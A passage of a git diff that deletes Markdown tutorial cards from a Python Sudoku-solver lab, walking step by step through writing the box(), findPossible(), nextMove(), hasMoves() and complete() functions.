-```python
-e = grid[r][c]
-```
-
-
-
-Given `e`, the current element in our nested for-loop, we will now check if it is non-zero and exists inside of `elems`. If both cases are true, then we will remove the value, denoted by `e`, from `elems`.
-
-```python
-if e != 0 and e in elems:
- elems.remove(e)
-```
-
-
-
-At last, we just return `elems` after iterating through our entire nested for-loop and `box()` is done!
-
-```python
-# This returns all elements in a given box
-def box(grid,r_i,c_i):
- elems = list(range(1,10))
- for r in range(r_i*3,r_i*3+3):
- for c in range(c_i*3,c_i*3+3):
- e = grid[r][c]
- if e != 0 and e in elems:
- elems.remove(e)
- return elems
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/4.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/4.md
deleted file mode 100644
index 264d9ce6..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/4.md
+++ /dev/null
@@ -1,24 +0,0 @@
-
-
-
-
-
-
-# findPossible() Function
-
-In Sudoku, we are able to replace an empty square if we have eliminated all other possible values that cannot be a repeat. We can find the possible values for an empty square by checking all the numbers that exist within the same box of the square, within the same row of the square, and within the same column of the square.
-
-Given that we are on a square (1 out of 81) in our Sudoku board, we will write the function `findPossible()` which finds all possible values for a square by eliminating numbers already in the box that it's in, the row it's in, and the column it's in.
-
-The function will take in the same three arguments as previously implemented in `box()`: the grid (`grid`), a row index (`r_i`) and a column index (`c_i`). The function header will then be defined as such:
-
-```python
-def findPossible(r_i, c_i, grid):
-```
-
-
-
-
-
-
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/41.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/41.md
deleted file mode 100644
index 617bfbf5..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/41.md
+++ /dev/null
@@ -1,70 +0,0 @@
-
-
-
-
-
-
-# findPossible() Function
-
-The first step is to confirm that the current square we are on is the number '0'. Otherwise we do not need to find possible values for it as it has been filled already:
-
-```python
-def findPossible(r_i, c_i, grid):
- if grid[r_i][c_i] == 0:
-```
-
-If `grid[r_i][c_i]` does not equal 0, then the square already has a value... so we don't need to find possible values for it! Therefore, we will simply just return an empty list to indicate that there are no possible values for our current square (`r_i`, `c_i`):
-
-```python
-def findPossible(r_i, c_i, grid):
- if grid[r_i][c_i] == 0:
- # Implement logic here for finding possible values
- else:
- return []
-```
-
-We know that we can fill in the empty square if we deduce that it cannot be any of the values that are within the same box, row, or column. Thus we will search through those areas respectively and eliminate those values. Similar to our implementation of `box()`, we can build a list called `possible` which will hold values from 0 to 9. As we search through the rows, columns and within out box, we will remove values in `possible` that are found.
-
-First we will initialize `possible` as such:
-
-```python
-possible = list(range(1,10))
-```
-
-Given that we have `r_i` and `c_i` which is the location of our square, we can use this information to iterate through the same row, column, and box to search for values using a for-loop.
-
-We will have a total of 4 for-loops. One for-loop to search through all the values in the same row, one for-loop to search through all the values in the same column, and two for-loops to search through all the values within the same box as our square. This will be the structure of the necessary for-loops:
-
-```python
-def findPossible(r_i, c_i, grid):
- if grid[r_i][c_i] == 0:
- possible = list(range(1,10))
- for c in range(0,9):
- # Implement logic here to find all values in same row
- for r in range(0,9):
- # Implement logic here to find all values in same column
- for r in range(0+r_i//3*3,r_i//3*3+3):
- for c in range(0+c_i//3*3,c_i//3*3+3):
- # Implement logic here to find all values within box
- else:
- return []
-```
-
-Notice that for the nested for-loop needed to search for our box, we use `range(0+r_i//3*3, r_i//3*3+3)` and `range(0+c_i//3*3, c_i//3*3+3)` which allows us to check all of the elements within our box. Suppose that we are find all possible values in our box given that we are on the square at (3, 3). Then `r_i` = 3 and `c_i` = 3. Thus, our range would be:
-
-```python
-for r in range(0+3//3*3, 3//3*3+3):
- for c in range(0+3//3*3, 3//3*3+3):
-```
-
-which would evaluate to:
-
-```python
-for r in range(3, 6):
- for c in range(3, 6):
-```
-
-So we would be checking these squares: (3, 3), (3, 4), (3, 5), (4, 3), (4, 4), (4, 5), (5, 3), (5, 4,), (5, 5)... this covers all of the squares within the same box as (3, 3). This is similar to the loops used for `box()`
-
-The final list `possible` will only contain all POSSIBLE values that our empty square could be replaced with.
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/411.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/411.md
deleted file mode 100644
index 2e4455ff..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/411.md
+++ /dev/null
@@ -1,74 +0,0 @@
-
-
-
-
-
-
-# findPossible() Function
-
-Now all that's left is to implement the logic needed to traverse through the row, colmn, and box of the square to eliminate values that already exist.
-
-To check for all the values within the same row of the square, we will define a variable `e` which will be assigned to each of the values in the same row as our square (`r_i`, `c_i`) to be removed from `possible` if `e` is not equal to 0 and exists in `possible`:
-
-```python
- # Row
- for c in range(0,9):
- e = grid[r_i][c]
- if e != 0 and e in possible:
- possible.remove(e)
-```
-
-Notice that `r_i` is fixed while we iterate through `c` from 0 to 8 in order to cover all of the values within the same row (`r_i`) as our square.
-
-Similarly, we will apply the same logic to find all the values that exist (to be removed from `possible`) within the same column as our square:
-
-```python
- # Col
- for r in range(0,9):
- e = grid[r][c_i]
- if e != 0 and e in possible:
- possible.remove(e)
-```
-
-The only difference is that we will be iterating from 0 to 8 through `r` to cover all the column values within the same column (`c_i`) as our square.
-
-Last, we will be checking through all the values that exist within the same box as our square. Since we already have the implementation for our nested for-loop, we will simply just iterate through values defined by our range for both `r` and `c` such that `e = grid[r][c]`:
-
-```python
- # Box
- for r in range(0+r_i//3*3,r_i//3*3+3):
- for c in range(0+c_i//3*3,c_i//3*3+3):
- e = grid[r][c]
- if e != 0 and e in possible:
- possible.remove(e)
-```
-
-After searching for all possible values by eliminating the existing values within the same row, column and box from `possible`; we will just return `possible` as this list will contain only the values that can be used on our current square (`r_i`, `c_i`). Then our final `findPossible()` function will look like this:
-
-```python
-# This finds all possible values for a square by eliminating those in the box that
-# it's in, the row, and the column (naive)
-def findPossible(r_i, c_i, grid):
- if grid[r_i][c_i] == 0:
- possible = list(range(1,10))
- # Row
- for c in range(0,9):
- e = grid[r_i][c]
- if e != 0 and e in possible:
- possible.remove(e)
- # Col
- for r in range(0,9):
- e = grid[r][c_i]
- if e != 0 and e in possible:
- possible.remove(e)
- # Box
- for r in range(0+r_i//3*3,r_i//3*3+3):
- for c in range(0+c_i//3*3,c_i//3*3+3):
- e = grid[r][c]
- if e != 0 and e in possible:
- possible.remove(e)
- return possible
- else:
- return []
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/5.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/5.md
deleted file mode 100644
index 502c00e7..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/5.md
+++ /dev/null
@@ -1,48 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-Moving on to the meat of our Sudoku Solver, you will now write the `nextMove()` function which will attempt to find the next move to solve for an empty square. This function will take in four arguments which are:
-
-the grid (`grid`)
-
-a boolean `silent`
-
-an integer `depth`
-
-a boolean `finish`
-
-Obviously you know that `grid` is a our Sudoku board. But for the other arguments, first we have `silent` which determines if it prints out the move it makes or not. If we've successfully found a valid move, the function will trigger `silent` to be true and allow us to print what that move was. `depth` is an integer intially set to 0 and determines if it's allowed to try guessing. If it `depth` is less than 2 (`depth < 2) , then guessing a move is allowed. Finally our `finish` boolean, initially set to `False`, is only set to `True` if we have found a solution that enables us to finish the rest of the grid to solve our Sudoku problem. The function header will be defined as such:
-
-```python
-def nextMove(grid,silent=False,depth=0,finish=False):
-```
-
-
-
-Now for defining this function, we will be using it in conjunction with our `findPossible()` function which we defined previously. To provide insight on the structure of this function, we will break it down into three possible clauses:
-
-- 1) An easy iteration through all spots, checking if clearly only one value can exist for a particular square.
-- 2) Checking by number: within each number we will check by row, column and box.
-- 3) Guessing clause which will be the fallback guessing and checking mechinism (this segment uses a function called `testPossible()` which we have not yet defined)
-
-Since we will be defining `testPossible()` later, context for this function will be provided. The premise behind the function `testPossible()` is that:
-
-- It checks if it can find a solution given a `grid`, and then a row-column pair with a value to try.
-- If it finds a solution and `finish` is true, then it sets the `grid` to the solution so as to speed it up.
-
-For this function, we will also be printing a particular prompt to display the move that was made for the user to see that is derived from each of the clauses listed above. Here are examples:
-
-- If the the first clause found the next move, then this should be printed:
- - `(8,9) -> 1 [Only possible]`
-- If the second clause found the next move, then there are 3 possible options:
- - If found in row: `(3,9) -> 4 [Only in row]`
- - If found in column: `(9,2) -> 1 [Only in column]`
- - If found in box: `(6,9) -> 3 [Only in box]`
-- If the third clause found the next move, then this would be printed:
- - `(7,9) -> 6 [Guessing and checking]`
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/51.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/51.md
deleted file mode 100644
index b17557ac..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/51.md
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-Following our function header, we will first initialize another local boolean variable called `foundMove` which will be initially set to `False` until we have found a move in one of our three clauses. Thus we will have this:
-
-```python
-def nextMove(grid,silent=False,depth=0,finish=False):
- foundMove = False
-```
-
-
-
-For our first clause, we will start with the easy case which would iterate through all spots to check if there is clearly only one possible value that could replace an empty square. Thus, we will need a nested for-loop that iterates through all possible square (totaling 81). This will look as such:
-
-```python
- for r_i in range(0,9):
- for c_i in range(0,9):
- # Implement logic here to find possible move
-```
-
-
-
-Remember that we will be using our `findPossible()` function to aid us in finding a possible answer for any/every empty square if possible. If we find a move, then you should print the value to be in place for the current square as seen previously such as this example: `(8,9) -> 1 [Only possible]`
-
-
-
-As of now our function looks like this:
-
-```python
-def nextMove(grid,silent=False,depth=0,finish=False):
- foundMove = False
- for r_i in range(0,9):
- for c_i in range(0,9):
- # Implement logic here to find possible move
-```
-
-All that's left for this clause is implementing the remaining logic in the case of finding a possible value via `findPossible()` and otherwise, you will output nothing and just move onto clause 2.
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/511.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/511.md
deleted file mode 100644
index 759194d4..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/511.md
+++ /dev/null
@@ -1,48 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-We will simply define a variable `possible` which will be assigned to the function `findPossible()`. Thus, `possible` will be assigned the list of available values for (for our current square) returned from the function:
-
-```python
- for r_i in range(0,9):
- for c_i in range(0,9):
- possible = findPossible(r_i,c_i,grid)
-```
-
-Iterating through all rows and columns to cover each square, we are then able to check every single square to see possible values that exist. This case is true if `possible` only contains 1 element because this implies that that is the only value that could fill the current empty square! So we will do the check for if the length of `possible` is equal to 1:
-
-```python
- for r_i in range(0,9):
- for c_i in range(0,9):
- possible = findPossible(r_i,c_i,grid)
- if len(possible) == 1:
-```
-
-
-
-If `len(possible) == 1` evaluates to `True`, then we know that a move has been found! Thus we will apply our logic using our booleans `foundMove` and `silent` to print out the result:
-
-```python
-def nextMove(grid,silent=False,depth=0,finish=False):
- foundMove = False
- # Easy iteration through all spots, checking if clearly only one
- for r_i in range(0,9):
- for c_i in range(0,9):
- possible = findPossible(r_i,c_i,grid)
- if len(possible) == 1:
- if not foundMove:
- if not silent:
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
- grid[r_i][c_i] = possible[0]
- foundMove = True
-```
-
-Since we know that `len(possible) == 1` then the next if-statement nested inside is `if not foundMove` which will evaluate to `True` if `foundMove` is initially `False`. Following that is another nested if-statement `if not silent` which will evaluate to `True` since `silent` is initialized as `False`. Then all we have left to do is printing the prompt for this clause and then setting `foundMove = True` .
-
-
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/52.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/52.md
deleted file mode 100644
index a74a3ae1..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/52.md
+++ /dev/null
@@ -1,126 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-Now onto our second clause where we will check by number. This segment of our function will be broken down into three parts where we will evaluate by column, row, and box. For each of the possible numbers in Sudoku, we will loop through values 0 to 9 and checking to see if that value is possible (by using `findPossible()` to check) as we check by row, column and box. So first we will need to check that `foundMove` is `False`, and if so we iterate through the possible values as such:
-
-```python
- # Check by number
- if not foundMove:
- for n in range(1,10):
-```
-
-
-
-Now here are some hints for our 3 conditions within this clause:
-
-- 1) Check by row:
-
- - This will consist of a nested for-loop iterating through rows to check if any empty square can possibly be replaced with one value, from 0 to 9.
-
- - If so then you will store the row-column pair of that square and assign it the current number.
-
- - The basic structure for this check will look like below:
-
- - ```python
- if not foundMove:
- for r_i in range(0,9):
- m = []
- for c_i in range(0,9):
- # Implement checking logic here for each row
- ```
-
- > Note: if the current number `n` exists within the list returned from `findPossible() `, then we will append the row, column pair (`r_i`, `c_i`) into the initially empty list `m`.
-
-- 2) Check by column:
-
- - This will consist of a nested for-loop iterating through columns to check if any empty square can possibly be replaced with one value, from 0 to 9.
-
- - If so then you will store the row-column pair of that square and assign it the current number.
-
- - The basic structure for this check will look like below:
-
- - ```python
- if not foundMove:
- for c_i in range(0,9):
- m = []
- for r_i in range(0,9):
- # Implement checking logic here for each column
- ```
-
- > Note: if the current number `n` exists within the list returned from `findPossible() `, then we will append the row, column pair (`r_i`, `c_i`) into the initially empty list `m`.
-
-- 3) Check by box:
-
- - This will consist of two nested for-loops:
-
- - The first nested for-loop to iterate through all the squares within a single box to discover if the current number is a possible value that does not yet exist within the box (via `box()`).
- - If the current number is one possible value (from 0 to 9), within the square for that box, the second nested for-loop will iterate through all the squares within that same box and use `findPossible()` to determine if the current number is still a valid possibility to fill in the empty square.
-
- - The basic structure for this check will look like below:
-
- - ```python
- # Check by box
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- # Implement logic here to check for `n` inside a box
- if n in b:
- m = []
- for r in range(b_r*3,b_r*3+3):
- for c in range(b_c*3,b_c*3+3):
- # Implement logic here to to check if 'n' is
- # valid at the particular square
- ```
-
- > Note: if the current number `n` exists inside the box `b` returned from `box()`, the next nested for-loop will check if `n` exists within the list returned from `findPossible() `, then we will append the row, column pair (`r_i`, `c_i`) into the initially empty list `m`.
-
-
-
-
-
-Up to now, the structure of our function will now look like this:
-
-```python
-def nextMove(grid,silent=False,depth=0,finish=False):
- foundMove = False
- # Easy iteration through all spots, checking if clearly only one
- for r_i in range(0,9):
- for c_i in range(0,9):
- possible = findPossible(r_i,c_i,grid)
- if len(possible) == 1:
- if not foundMove:
- if not silent:
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
- grid[r_i][c_i] = possible[0]
- foundMove = True
-
- # Check by number
- if not foundMove:
- for n in range(1,10):
- # Check by row
- if not foundMove:
- for r_i in range(0,9):
- m = []
- for c_i in range(0,9):
-
- # Check by column
- if not foundMove:
- for c_i in range(0,9):
- m = []
- for r_i in range(0,9):
-
- # Check by box
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- #
- if n in b:
- m = []
- for r in range(b_r*3,b_r*3+3):
- for c in range(b_c*3,b_c*3+3):
-```
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/521.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/521.md
deleted file mode 100644
index b2a1ba94..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/521.md
+++ /dev/null
@@ -1,194 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-Working through the first condition of checking by row, we will use `findPossible(r_i, c_i, grid)` to determine if our current number `n` exists within it. If yes, then we will append the square we checked (`r_i`, `c_i`) into our list `m`:
-
-```python
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
-```
-
-Then we will check if the length of `m` is equal to 1 because this tells us that our current number `n` is the only value that can be placed in our empty square which was stored in `m`. We also must confirm that `foundMove` is still `not False` (which is the same as True) since we have not just found our first next move to be done:
-
-```python
- if len(m) == 1 and not foundMove:
-```
-
-If the above is evaluated `True`, then we will check `if not silent:` in order for us to then print the prompt that we have made our next move and what that move was. Then we just need to assign the current number `n` to the empty square in `m` within our `grid` and set `foundMove` to `True`:
-
-```python
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-```
-
-Overall, our final first condition (check by row) in our check number clause will look like such all together:
-
-```python
- # Check by row
- if not foundMove:
- for r_i in range(0,9):
- m = []
- for c_i in range(0,9):
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-```
-
-
-
-The next condition in our check by row clause, check by column, will be implemented the same exact way as above except for simply just flipping the for-loops! Then all we need to change the print statement since we found this by checking in column. Therefore, the final second condition for this clause will look like such:
-
-```python
- # Check by column
- if not foundMove:
- for c_i in range(0,9): # only difference
- m = []
- for r_i in range(0,9): # is flipping these for-loops
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in column]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-```
-
-
-
-For our last condition in our check number clause, we have check by box. Within our first nested for-loop, we have to check if the current number `n` is available to be placed in any box within our grid. Thus we will do so using `box()` like this:
-
-```python
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- b = box(grid,b_r,b_c)
-```
-
-After we will check if the current number `n` exists in `b`:
-
-```python
- if n in b:
-```
-
-If so, we will continue on to check for the row, column pair (`r`, `c`) within the same box that (`r_i`,` c_i`) is within to be appended to our list `m` if the current number `n` exists from the list returned from `findPossible()`:
-
-```python
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- b = box(grid,b_r,b_c)
- if n in b:
- m = []
- for r in range(b_r*3,b_r*3+3):
- for c in range(b_c*3,b_c*3+3):
- if n in findPossible(r,c,grid):
- m.append((r,c))
-```
-
-Following our second nested for-loop, the remaining definition of this check by box condition will be identical to the previous conditions such that we confirm if `len(m) == 1` and `not foundMove`. If this evaluates to `True`, then we check if `not silent` and then print the appropriate prompt of our next move via check by box method. Then we assign the location in our `grid` stored within `m` to the current number `n`. Lastly we just set `foundMove` to `True`.
-
-```python
- # Check by box
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- b = box(grid,b_r,b_c)
- if n in b:
- m = []
- for r in range(b_r*3,b_r*3+3):
- for c in range(b_c*3,b_c*3+3):
- if n in findPossible(r,c,grid):
- m.append((r,c))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in `]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-```
-
-
-
-
-
-Up to now, we have fully defined the first two clauses of our function `nextMove()`. It will look like this:
-
-```python
-# This attempts to find the/a next move
-# Silent determines if it prints out the move it makes (not done for 'complete')
-# Depth determines if it's allowed to try guessing (if depth < 3)
-# Finish if it should be allowed to make any move possible (complete)
-def nextMove(grid,silent=False,depth=0,finish=False):
- foundMove = False
- # Easy iteration through all spots, checking if clearly only one
- for r_i in range(0,9):
- for c_i in range(0,9):
- possible = findPossible(r_i,c_i,grid)
- if len(possible) == 1:
- if not foundMove:
- if not silent:
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
- grid[r_i][c_i] = possible[0]
- foundMove = True
-
- # Check by number
- if not foundMove:
- for n in range(1,10):
- # Check by row
- if not foundMove:
- for r_i in range(0,9):
- m = []
- for c_i in range(0,9):
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-
- # Check by column
- if not foundMove:
- for c_i in range(0,9):
- m = []
- for r_i in range(0,9):
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in column]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-
- # Check by box
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- b = box(grid,b_r,b_c)
- if n in b:
- m = []
- for r in range(b_r*3,b_r*3+3):
- for c in range(b_c*3,b_c*3+3):
- if n in findPossible(r,c,grid):
- m.append((r,c))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in `]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-
-
- # Guessing clause
-```
-
-Now all we have left is to implement our guessing clause and our `nextMove()` function is done!
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/53.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/53.md
deleted file mode 100644
index cf0ed35b..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/53.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-Now for our third clause for our `nextMove()` function, we will be checking every single square within our `grid` similarly to our first clause. However, this clause is our fallback in which we will be using in conjunction with another function called `testPossible()` which we have yet defined.
-
-With that in mind, I will further provide hints for this guessing clause in our `nextMove()` function:
-
-- One nested for-loop to iterate through all squares.
-
-- Using the resulting list return from `findPossible()`, you will need to use a for-loop to iterate through each index in that resulting list and applying further logic to check including `testPossible()`
-
-- The `testPossible()` function accepts 6 arguments:
-
- - `grid`
- - `r_i`
- - `c_i`
- - `i`
- - `depth + 1`
- - `finish`
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/531.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/531.md
deleted file mode 100644
index e54e7194..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/531.md
+++ /dev/null
@@ -1,152 +0,0 @@
-
-
-
-
-
-
-# nextMove()
-
-First we must check for `not foundMove` and `depth < 2` since these conditions must be satisfied in order to apply our guessing clause:
-
-```python
-if not foundMove and depth < 2:
-```
-
-If the above condition is true, then we will now iterate through every single square by using a nested for-loop. Then we must check if `not foundMove` for every iteration:
-
-```python
- for r_i in range(0,9):
- for c_i in range(0,9):
- if not foundMove:
-```
-
-Within this nested for-loop, we will be using our two functions in conjunction with each other which are `findPossible()` and `testPossible()`. First we will use an empty list `possible` which will be defined as the list returned from `findPossible()`:
-
-```python
- possible = findPossible(r_i,c_i,grid)
-```
-
-Given the list `possible`, we will now iterate through all the values within that list. Through each value we iterate to, we will check if `not foundMove` and `testPossible(grid, r_i, c_i, i, depth+1, finish)` which will determine that we have found a result via guessing and checking:
-
-```python
- for i in possible:
- if not foundMove and testPossible(grid,r_i,c_i,i,depth+1,finish):
-```
-
-If the above condition evaluates to `True`, we can check if `not silent` in order to allow us to print our next move via guess and check method. Then we can simply assign the value `i` from `possible` (that succeeded through our if-statements) to our `grid` at location of the square `[r_i][c_i]`:
-
-```python
- if not silent:
- print(depth)
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(i) + " [Guessing and checking]")
- grid[r_i][c_i] = i
- foundMove = True
-```
-
-
-
-Finally, we have our last clause fully defined and it will look like below:
-
-```python
-# Guessing clause (not a very pretty fallback)
-if not foundMove and depth < 2:
- for r_i in range(0,9):
- for c_i in range(0,9):
- if not foundMove:
- possible = findPossible(r_i,c_i,grid)
- for i in possible:
- if not foundMove and testPossible(grid,r_i,c_i,i,depth+1,finish):
- if not silent:
- print(depth)
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(i) + " [Guessing and checking]")
- grid[r_i][c_i] = i
- foundMove = True
-```
-
-
-
-
-
-In the end, our finished `nextMove()` function will look like this:
-
-```python
-# This attempts to find the/a next move
-# Silent determines if it prints out the move it makes (not done for 'complete')
-# Depth determines if it's allowed to try guessing (if depth < 3)
-# Finish if it should be allowed to make any move possible (complete)
-def nextMove(grid,silent=False,depth=0,finish=False):
- foundMove = False
- # Easy iteration through all spots, checking if clearly only one
- for r_i in range(0,9):
- for c_i in range(0,9):
- possible = findPossible(r_i,c_i,grid)
- if len(possible) == 1:
- if not foundMove:
- if not silent:
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
- grid[r_i][c_i] = possible[0]
- foundMove = True
-
- # Check by number
- if not foundMove:
- for n in range(1,10):
- # Check by row
- if not foundMove:
- for r_i in range(0,9):
- m = []
- for c_i in range(0,9):
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-
- # Check by column
- if not foundMove:
- for c_i in range(0,9):
- m = []
- for r_i in range(0,9):
- if n in findPossible(r_i,c_i,grid):
- m.append((r_i,c_i))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in column]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-
- # Check by box
- if not foundMove:
- for b_r in range(0,3):
- for b_c in range(0,3):
- b = box(grid,b_r,b_c)
- if n in b:
- m = []
- for r in range(b_r*3,b_r*3+3):
- for c in range(b_c*3,b_c*3+3):
- if n in findPossible(r,c,grid):
- m.append((r,c))
- if len(m) == 1 and not foundMove:
- if not silent:
- print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in box]")
- grid[m[0][0]][m[0][1]] = n
- foundMove = True
-
- # Guessing clause (not a very pretty fallback)
- if not foundMove and depth < 2:
- for r_i in range(0,9):
- for c_i in range(0,9):
- if not foundMove:
- possible = findPossible(r_i,c_i,grid)
- for i in possible:
- if not foundMove and testPossible(grid,r_i,c_i,i,depth+1,finish):
- if not silent:
- print(depth)
- print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(i) + " [Guessing and checking]")
- grid[r_i][c_i] = i
- foundMove = True
-
- return foundMove
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/6.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/6.md
deleted file mode 100644
index 27de7362..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/6.md
+++ /dev/null
@@ -1,29 +0,0 @@
-
-
-
-
-
-
-# complete()
-
-Now that we have all the necessary logic for solving our Sudoku board we will write the functions `hasMoves()` and `complete()`.
-
-
-
-We will start off with `hasMoves()` first since `complete()` is dependent on it. `hasMoves()` is a very simple function that checks if the `grid` is finished (all empty squares are filled) and thus indicating that the Sudoku board has been solved. `hasMoves()` should retrun a boolean statement to check if all of the squares are filled; is the `grid` is finished, then it should return true, if the `grid` isn't finished, then it should return false and the player has to keep inputting proper numbers to fill in the grid. The function header for `hasMoves()` is defined as such:
-
-```python
-def hasMoves(grid):
-```
-
-> Hint: `hasMoves()` is a one line function!
-
-
-
-Then for our `complete()` function, it will attempt to complete the `grid` by continually calling `nextMove()` until it gets stuck or succeeds. The `complete()` function will continue to iterate throughout the `grid` until it's able to find an empty slot to fill in for solving the `grid` correctly. Our `complete()` function will take in 2 parameters: `grid` for the grid itself and `depth=0` to indicate that the iteration of the grid will start at the 1st index (1st square) of the entire grid. The function header for `complete()` is defined as such:
-
-```python
-def complete(grid,depth=0):
-```
-
-> Hint: `complete()` uses the functions `hasMoves()` and `nextMove()`
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/61.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/61.md
deleted file mode 100644
index 0f8203d0..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/61.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-# complete()
-
-`hasMoves()` is a simple function that will basically return a boolean (True or False) by determining if there are any 0's in `grid`. This indicates whether or not the Sudoku board has any remaining moves or if it's done. Thus, we can accomplish this in one line:
-
-```python
-# This checks if the grid is finished
-def hasMoves(grid):
- return any(0 in row for row in grid)
-```
-
-If there are any 0's in a `row` for all the rows in `grid`, then return True. Otherwise return False, which indicates that the `grid` is complete.
\ No newline at end of file
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/62.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/62.md
deleted file mode 100644
index 41647c81..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/62.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-# complete()
-
-Since our `complete()` function is continually calling `nextMove()` until it gets stuck or succeeds, we should check if our `grid` still has moves. Hence, we will keep this logic in a while loop:
-
-```python
-def complete(grid,depth=0):
- moved = True
- while hasMoves(grid) and moved:
- # Implement logic here to determine the state of moved
-```
-
-`moved` will be a boolean initialized to True and will only be set False once a move has not been found...
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/621.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/621.md
deleted file mode 100644
index 02d1bd96..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/621.md
